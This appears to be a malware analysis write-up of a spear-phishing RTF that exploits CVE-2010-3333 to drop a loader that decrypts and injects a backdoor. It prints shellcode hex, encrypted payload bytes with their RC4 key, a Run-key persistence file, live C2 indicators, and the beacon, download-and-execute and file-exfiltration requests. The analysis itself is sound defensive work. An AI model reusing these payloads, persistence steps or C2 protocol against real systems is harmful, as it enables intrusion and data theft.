Trojan. Matryoshka
Today I am going to look at two different pieces of malware and the carrier file that delivered it all. The carrier file is pretty straightforward and as designed it will drop a malicious file. I am going to refer to this dropped file as Trojan. Matryoshka, because like nesting dolls it is a container or wrapper for another completely different malicious file which I will refer to as Trojan.Einstein. Trojan.Matryoshka is really a simple file that only exists to launch another malicious file. In this sample that second malicious file was Trojan.Einstein, however any other malicious file could be concealed by Trojan.Matryoshka. Symantec has a write up on a variant of this file (Trojan.Taidoor), however the write up does not detail everything accurately.
The document below was sent as an attachment in a spear phishing email. The file is actually a rich text format (RTF) file, which has embedded shellcode that will extract the payload and a decoy document. This is an older vulnerability (CVE-2010-3333), that if you work in this field you have seen numerous times before, but I will briefly cover this part of the attack for those who have not seen this before.
File Name: attachment.doc
File Size: 61455 bytes
MD5: 8406c1ae494add6e4f0e78b476fb4db0
SHA1: 2243ec5b327ac69afbc155fcb9db7d14592c8cba
AV: 20 /43 (46.5%) [Virus Total]
The contents of the attachment can be seen below. Numerous bytes of 0×30 were removed for brevity. To analyze the shell code you must first convert the code from ASCII hex (as seen below) to hexadecimal values.
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 7B 5C 72 74 66 31 7B 5C 73 68 70 7B 5C 2A 5C 73 {\rtf1{\shp{\*\s
00000010 68 70 69 6E 73 74 7B 5C 73 70 7B 5C 73 6E 20 70 hpinst{\sp{\sn p
00000020 46 72 61 67 6D 65 6E 74 73 7D 7B 5C 73 76 20 31 Fragments}{\sv 1
00000030 3B 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 ;100000000000000
00000040 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
…REMOVED FOR BREVITY…
00003C10 30 30 30 30 30 30 30 30 30 30 3B 30 31 32 33 34 0000000000;01234
00003C20 35 36 37 66 66 30 32 30 30 30 30 30 30 30 30 30 567ff02000000000
00003C30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
00003C40 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 63 000000000000000c
00003C50 65 32 34 66 61 37 66 30 30 30 30 38 30 37 63 30 e24fa7f0000807c0
00003C60 30 30 30 38 30 37 63 42 42 42 42 42 42 42 42 43 000807cBBBBBBBBC
00003C70 43 43 43 43 43 43 43 44 44 44 44 44 44 44 44 39 CCCCCCCDDDDDDDD9
00003C80 30 36 61 38 38 37 43 39 30 39 30 39 30 33 33 63 06a887C90909033c
00003C90 30 36 34 38 62 34 30 33 30 33 65 38 62 34 30 30 0648b40303e8b400
00003CA0 63 33 65 38 62 34 30 31 63 33 65 38 62 37 30 30 c3e8b401c3e8b700
00003CB0 38 33 65 38 62 37 38 32 30 33 65 38 62 30 30 36 83e8b78203e8b006
00003CC0 36 33 65 38 33 37 66 31 38 30 30 37 35 65 64 38 63e837f180075ed8
00003CD0 31 65 63 30 30 30 34 30 30 30 30 38 62 66 63 33 1ec000400008bfc3
00003CE0 65 63 37 30 37 38 35 64 66 61 66 62 62 33 65 63 ec70785dfafbb3ec
00003CF0 37 34 37 30 34 38 65 31 33 30 61 61 63 33 65 63 747048e130aac3ec
00003D00 37 34 37 30 38 35 61 64 34 32 34 39 34 33 65 63 747085ad424943ec
Once converted to hexadecimal values the code can be analyzed. Below is the shell code responsible for locating and decoding the malicious payload. Below the shell code screen shot is a portion of data that is located in this sample which will be decoded and an explanation of the screen shot .
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
000041C0 38 35 62 63 33 35 66 35 65 35 62 38 33 63 34 34 85bc35f5e5b83c44
000041D0 30 33 62 65 63 65 38 38 66 30 31 30 30 30 30 38 03bece88f0100008
000041E0 62 65 35 35 64 63 33 39 30 7D 7D 7D 7D 5C 61 64 be55dc390}}}}\ad
000041F0 65 66 6C 61 6E 67 31 30 32 35 58 58 58 58 59 59 eflang1025XXXXYY
00004200 59 59 48 5E 93 02 02 00 FF FE F9 FC FB FA 06 07 YYH^“ ÿþùüûú
00004210 F7 F6 4D F4 F3 F2 F1 F0 EF EE AD EC EB EA E9 E8 ÷öMôóòñðïîìëêéè
00004220 E7 E6 E5 E4 E3 E2 E1 E0 DF DE DD DC DB DA D9 D8 çæåäãâáàßÞÝÜÛÚÙØ
00004230 D7 D6 D5 D4 D3 D2 D1 D0 CF CE CD CC CB CA 11 C8 ×ÖÕÔÓÒÑÐÏÎÍÌËÊ È
00004240 C7 C6 CB DB 79 CC C1 74 B6 73 9C 04 BA F6 74 99 ÇÆËÛyÌÁt¶sœ ºöt™
00004250 E3 DE DC C7 93 C2 C3 DF C8 DC CC C1 8B C9 C8 C6 ãÞÜÇ“ÂÃßÈÜÌÁ‹ÉÈÆ
00004260 C9 C9 D1 84 C1 C7 81 D2 EA F0 BD F5 F5 BA DD D7 ÉÉÑ„ÁÇÒêð½õõºÝ×
- The shell code will search the file’s data for the string 0×58585858 (ASCII XXXX) and then 0×59595959 (ASCII YYYY). These two DWords serve as a marker so the malware knows where to begin decoding the malicious payload.
- The malware will then move the value 0×4605 to EAX.
- The shell code is XORing the byte that EBX is pointing to (the beginning of the malicious payload) with AL (0×05) from EAX. The beginning of the malicious payload is in red in the above data. The shell code then increments EBX, moving to the next byte of the malicious payload, and decrements EAX resulting in 0×4604.
In essence this series of instructions locates the offset to the malicious payload and decodes that data with a decreasing XOR key of 0xFF through 0×00, beginning with the value 0×05.
The information for the decoded malicious payload is listed below.
File Name: payload.exe
File Size: 17920 bytes
MD5: bd05ecc444004c0c0607d084400ce4b0
SHA1: a6c334163bced3be98b0052b9cef32ed1dc11ba7
PE Time: 0x4E5AFF4F [Mon Aug 29 02:54:07 2011 UTC]
Sections (4):
Name Entropy MD5
.text 7.11 dd543c698f8286686831c605ae0121f2
.rdata 3.24 8a5a10ea28ead52da3a6e58b96d9f434
.data 7.91 b06eae05ba606788eca2067b8e950919
.rsrc 2.66 1b3bb08663552241b4692e2269edf8b2
AV: 17 /42 (40.5%) [Virus Total]
The shell code will also extract a decoy document which is located in the original file (immediately after the encoded payload) in plain text. A screen shot of the decoy is below:
The decoy document contains Chinese text, which was most likely copied and pasted from a web site. The information for the decoy document is listed below:
File Name: decoy.doc
File Size: 26624 bytes
MD5: 0353a19ad58daa824310c5486dd05fa0
SHA1: 81201dc2c1c3d817fd330b7904478ba5f26e427e
Metadata:
Title: 以過程論的觀點分析六方會談 審查意見
Author: user
Company: Hewlett-Packard
Created: 9/25/2011 01:10 AM (GMT)
Last Saved: 9/25/2001 02:27 AM (GMT)
The shell code will execute the payload. The payload (Trojan.Matryoshka) is another carrier for the end malware (Trojan.Einstein).
The .data section of payload.exe (Trojan.Matryoshka) contains encrypted malicious code and the RC4 key to decrypt the code, which can be seen below:
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00001000 00 00 00 00 00 00 00 00 00 00 00 00 70 17 40 00 p @
00001010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00001020 00 00 00 00 5C E2 B3 1F D8 1F 95 5C E2 8A AB 33 \â³ Ø •\⊫3
00001030 11 F2 1B A7 BC BA 3F 76 91 F8 01 27 61 65 A2 3D ò §¼º?v‘ø 'ae¢=
00001040 57 C9 6F D8 6A 2A A2 80 5E B9 67 2F FA E1 F1 93 WÉoØj*¢€^¹g/úáñ“
00001050 87 3A 7C 4E 80 21 58 DA ED 49 19 C1 08 3E D8 3A ‡:|N€!XÚíI Á >Ø:
00001060 10 0D 04 80 46 A3 05 EB 1A 2A 89 CB B5 CC E3 94 €F£ ë *‰ËµÌã”
00001070 1D C2 8D E1 7E 5A 0D 1B D3 A1 84 B4 8B C9 80 C7 Âá~Z Ó¡„´‹É€Ç
00001080 17 62 4A A3 3F E7 97 31 F5 56 EC F1 77 FF 77 EC bJ£?ç—1õVìñwÿwì
00001090 EB 18 05 3D B8 CA 20 C9 A4 57 35 53 71 C2 D0 8D ë =¸Ê ɤW5SqÂÐ
000010A0 C6 25 C9 EC BE EC 2D 4D FC A6 6F A8 45 65 A8 76 Æ%Éì¾ì-Mü¦o¨Ee¨v
000010B0 BA 35 9B 0F CA 59 72 CA BE 00 82 4E 22 8E B1 77 º5› ÊYrʾ ‚N"Ž±w
000010C0 18 4E 69 7D 29 03 7F FB 0C 0A 09 CB A4 15 6E C5 Ni}) û ˤ nÅ
000010D0 75 27 47 4D 02 DB 4A 4E A2 6A FA D9 EF FB D2 4E u'GM ÛJN¢júÙïûÒN
000010E0 EF A8 2D 4E 99 FB 0A 90 7D BA 00 ED B2 03 D4 98 ï¨-N™û }º í² Ô˜
000010F0 DC 7E 16 9E E9 6B 74 80 B2 17 E3 8F 09 8D DB 9D Ü~ žékt€² ã Û
00001100 B1 4B EB 51 FD 83 77 61 D1 05 40 8B EC A0 4C 49 ±KëQýƒwaÑ @‹ì LI
00001110 B1 CD 7B 23 E7 E3 45 2F 9B 51 2D 07 55 8C C6 51 ±Í{#çãE/›Q- UŒÆQ
00001120 A7 E3 36 04 6A BD 00 13 FC 52 47 44 76 20 01 AB §ã6 j½ üRGDv «
The payload will use the key 0x5C E2 B3 1F D8 1F 95 5C (highlighted in yellow above) to decrypt, using the RC4 algorithm, the next 0x2E00 bytes of data (the beggining of this data is in red).
The payload will then search the HKLM hive of the registry for the key Software\McAfee. If this key is located the payload will create a new process (in suspended mode) with the command line argument of services.exe [Path to executable]. The payload will then write the decrypted data to the memory space of the newly created process and then resume the thread.
If the payload does not find the key Software\McAfee in the registry it will create a new process with the command line argument svchost.exe {Path to executable]. The payload will then write the decrypted data to the memory space of the newly created process and then resume the thread.
The payload’s only real function is to decrypt the malicious payload and then execute that code.
Trojan.Einstein
I will refer to the malicious code, which is the actual malware responsible for beaconing and other “normal” malware type activities, as Trojan.Einstein. The information for Trojan.Einstein is listed below:
File Name: Einstein.exe
File Size: 11776 bytes
MD5: 1c2dfd36ad8cad978a0859d459f10326
SHA1: f0fd24585515d88b6a01210235179e71da88be08
PE Time: 0x4E5AFF4C [Mon Aug 29 02:54:04 2011 UTC]
Sections (3):
Name Entropy MD5
.text 6.09 1c4d3e44b66d88c2fbaacf4b8d1ff87f
.rdata 4.69 6d01f62aa51bf35c1537d69623c36475
.data 4.38 6ba4128f61b5adb728da17e695dc4603
AV: 21/ 43 (48.8%) [Virus Total]
Once Trojan.Einstein is running it will use SC Manager to enumerate the services in the Service_Win32 service manager database.
The Trojan will then use the rand call and some simple math to pseudo randomly choose one of the enumerated services from above. The name of the pseudo randomly chosen service will then be appended to the path of the current user’s Temp directory (ex. C:\Document and Settings\[user]\Local Settings\Temp\Win32Time) and .exe will be appended to that string (…Temp\Win32Time.exe).
Before creating a file with the chosen name, the Trojan will attempt to delete that file. This may be done to ensure that if a benign file (with the same name) exists in that directory that it will not interfere with the malicious file. Next Trojan.Einstein will copy the original file (payload.exe or Trojan.Matryoshka) to that location, in this case C:\Document and Settings\[user]\Local Settings\Temp\Win32Time.exe. So depending on what services are enumerated the trojan could be named dozens of different names.
The malware will then create the file ~dfds3.reg in the current user’s Temp directory. This file name was hard coded into the binary. This file will contain data that is created by the Trojan at runtime which is related to entrenching the Trojan. An example of the data contained in the ~dfds3.reg is listed below:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"W32Time"=" C:\Document and Settings\[user]\Local Settings\Temp\Win32Time.exe "
Trojan.Einstein then uses the WinExec API call to execute the string “regedit.exe /s C:\DOCUME~1\[user]\LOCALS~1\Temp\~dfds3.reg“.
This will entrench the original payload as the file Win32Time.exe, under the CurrentVersion\Run key for the current user.
Now that Trojan.Einstein has taken care of the administrative work it can begin to beacon out to the C2 node. Trojan.Einstein starts this process by acquiring the MAC address of the infected system and formats the string in the following manner: 31-41-59-26-53-58. Trojan.Einstein will use that string as the key to encrypt and decrypt data (sent and received from the C2 node) using the RC4 algorithm.
Trojan.Einstein will then use a series of calls to rand to construct a five character string combined of the letters a-z (0×61-7A), this string will be used when beaconing to the C2.
Next the Trojan will take the compromised machine’s MAC address (ex. 31-41-59-26-53-58) and remove the dashes leaving a alphanumeric string (ex. 314159265358). Each hexadecimal value in that string will then be incremented by one (0×01) in the manner below:
| ASCII |
3 |
1 |
4 |
1 |
5 |
9 |
2 |
6 |
5 |
3 |
5 |
8 |
| Hex |
33 |
31 |
34 |
31 |
35 |
39 |
32 |
36 |
35 |
33 |
35 |
38 |
| New Value Hex |
34 |
32 |
35 |
32 |
36 |
30 |
33 |
37 |
36 |
34 |
36 |
39 |
| New Value ASCII |
4 |
2 |
5 |
2 |
6 |
0 |
3 |
7 |
6 |
4 |
6 |
9 |
The new string will be 425260376469, if you were observant you probably noticed that incrementing 0×39 by one would result in 0x3A and not 0×30. Trojan.Einstein specifically compares each new value with 0x3A, and if it matches it will use the value 0×30 instead of 0x3A.
If the MAC address contains letters (ex. 12-34-56-AB-CD-EF) the hexadecimal values for those letters will also be incremented by one (0×01). In this example the end result would be (23-45-67-BC-ED-FG).
This sample of Trojan.Einstein is configured to beacon to family.mobwork.net (and 60.249.219.82 which at the time of this writing the IP Address that family.mobwork.net resolves to). The Trojan will initially beacon to the above URL with the following type of GET request:
GET /gttfi.php?id=026200425260376469 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: family.mobwork.net
Connection: Keep-Alive
Cache-Control: no-cache
The above GET request can be deconstructed in the following manner:
- The gttfi (which is highlighted in yellow) is the pseudo random string of five characters that the Trojan created just previously.
- The 425260376469 (which is highlighted in green) is the converted MAC address that the Trojan previously obfuscated. The Trojan appends 6 pseudo randomly chosen digits (which are in red) to the beginning of the converted MAC address in an attempt to further conceal the RC4 key that will be used by the Trojan and the C2 node, in their communications. These six digits are not relevant and are ignored by the C2 node.
The Trojan expects to receive data back from this initial GET request; however it does not matter what the data is, only that it gets back a response. The Trojan will then beacon to the C2 node a second time with the same type of request as above.
Trojan.Einstein Commands
When the Trojan receives data from the C2 node it will decrypt that data with the shared RC4 key (in this case 31-41-59-26-53-58). Once the received data is decrypted the Trojan will compare the first byte of data to the following values. These values act as commands and following each command is a brief description of that the command will accomplish:
0x02 – sleep command
0x03 – Used to run commands on the system (ex. cmd.exe /c dir)
0x04 – Used to download and execute files from specified URLs or IP Addresses
0x05 – Used to download files from the current C2 node
0x07 – Used to upload a file to the C2 node
- When the Trojan receives the 0×02 command it will take the DWord (4 bytes) immediately preceeding the 0×02 command and use this as a sleep time. An example can seen seen below:
Decrypted data – 0×0287654321
The value 87654321 will be used as an argument when calling sleep. The DWord is passed to the call (little endian 21 43 65 87) which when converted to decimal is 558,065,031. The decimal value is the number of milliseconds that the Trojan will sleep.
- When the Trojan receives the 0×03 command it will copy into memory the null terminated string (up to 0×104 bytes in length). The Trojan will then create a file in the current user’s Temp folder (ex. C:\Documents and Settings\[user]\Local Settings\Temp\). The file’s name is constructed from a series of calls to rand and some simple math. The file’s name will be eight characters in length and will consist of the digits 0-9 (0×30- 0×39). The output from the process is then written to that file. An example can be seen below:
Decrypted data – 0×03cmd.exe /c dir
The string cmd.exe /c dir would be passed to the CreateProcess call as the command line parameter, as seen below.
00E0FBC4 00401E22 "‑@. /CALL to CreateProcessA from Einstein.00401E1C
00E0FBC8 00000000 .... |ModuleFileName = NULL
00E0FBCC 00E0FBFC üûà. |CommandLine = "cmd.exe /c dir"
00E0FBD0 00000000 .... |pProcessSecurity = NULL
00E0FBD4 00000000 .... |pThreadSecurity = NULL
00E0FBD8 00000001 ... |InheritHandles = TRUE
00E0FBDC 00000000 .... |CreationFlags = 0
00E0FBE0 00000000 .... |pEnvironment = NULL
00E0FBE4 00000000 .... |CurrentDir = NULL
00E0FBE8 00E0FF08 ÿà. |pStartupInfo = 00E0FF08
00E0FBEC 00E0FF4C Lÿà. \pProcessInfo = 00E0FF4C
Because of the way that the CreateProcess call is structured if the ModuleFileName is null then the first whitespace delimitated string is used as a the module (more information get be located here: http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425%28v=vs.85%29.aspx).
The result is that the cmd.exe is launched as a new process and in this case the dir command is run. The output from this command will be stored in the file that was previously created. The Trojan will then read the contents of that file into memory and encrypt the data using the shared RC4 key. This data will then be sent back to the C2 node in a POST request.
- When the Trojan receives the 0×04 command it will copy into memory the null terminated string (up to 0×104 bytes in length).
The Trojan will create a file in the user’s Temp directory. The file’s name is constructed from a series of calls to rand and some simple math. The file’s name will be six characters in length and will consist of the letters a-z (0×61- 0x7A). An .exe extension will then be added to the file name.
Decrypted data – 0×04http://www.badstuff.com/malware.jpg
The Trojan then request’s the referenced file from the provided URL or IP Address (in this case malware.jpg). That file will be written to the file that was created in the user’s Temp directory and then executed using WinExec.
- When the Trojan receives the 0×05 command it will copy into memory the null terminated string (up to 0×104 bytes in length).
Decrypted data – 0×05badstuff.dll
The Trojan will create a file in the user’s Temp directory. That file name will be the string that follows the 0×05 command (in this case badstuff.dll). The Trojan will then Base64 encode the file name and send the following type of GET Request:
GET / gttfi.php?id=019451425260376469&ext=YmFkc3R1ZmYuZGxs HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: family.mobwork.net
Connection: Keep-Alive
Cache-Control: no-cache
The data that is highlighted in yellow is the Base64 encoded file name (in this case badstuff.dll). The Trojan will then download that file from the C2 node and write the data to the newly created file in the user’s Temp folder bearing the same name. This file will not be executed or run by the Trojan.
- When the Trojan receives the 0×07 command it will copy into memory the null terminated string (up to 0×104 bytes in length).
Decrypted data – 0×07C:\yoursecrets.rar
The Trojan will determine whether or not the file exists on the compromised system. If the file exists the Trojan will take the file’s name (in this case yoursecrets.rar) and encrypt the string using the RC4 key that is being shared. The encrypted string will then be Base64 encoded. This string will be placed into the POST request that will upload the file to the C2 node. In the example below the encrypted and encoded file name is highlighted in yellow.
POST / gttfi.php?id=019451425260376469&ext=ixioJXXJFCRrrDatKHhK HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: family.mobwork.net
Content-Length: 420
Connection: Keep-Alive
Cache-Control: no-cache
The Trojan will then encrypt the file’s data using the RC4 key being shared and transmit it to the C2 node.
Strings from Trojan.Einstein
_beginthreadex
strcat
strrchr
strcpy
strlen
DeleteFileA
Sleep
WinExec
ExpandEnvironmentStringsA
MoveFileA
lstrcmpiA
GetLongPathNameA
GetTickCount
OpenSCManagerA
InternetReadFile
InternetCloseHandle
InternetOpenUrlA
InternetOpenA
family.mobwork.net
60.249.219.82
regedit.exe /s
~dfds3.reg
%tmp%\
Windows Registry Editor Version 5.00
"%s"="%s"
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
%tmp%
WinHttp
http://%s:%d/%s.php?id=%06d%s&ext=%s
%temp%\
/%s.php?id=%06d%s&ext=%s
http://%s:%d/%s.php?id=%06d%s
%c%c%c%c%c
/%s.php?id=%06d%s
%%temp%%\%u
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
%02X-%02X-%02X-%02X-%02X-%02X
01-01-01-01-01-01
%c%c%c%c%c%c.exe
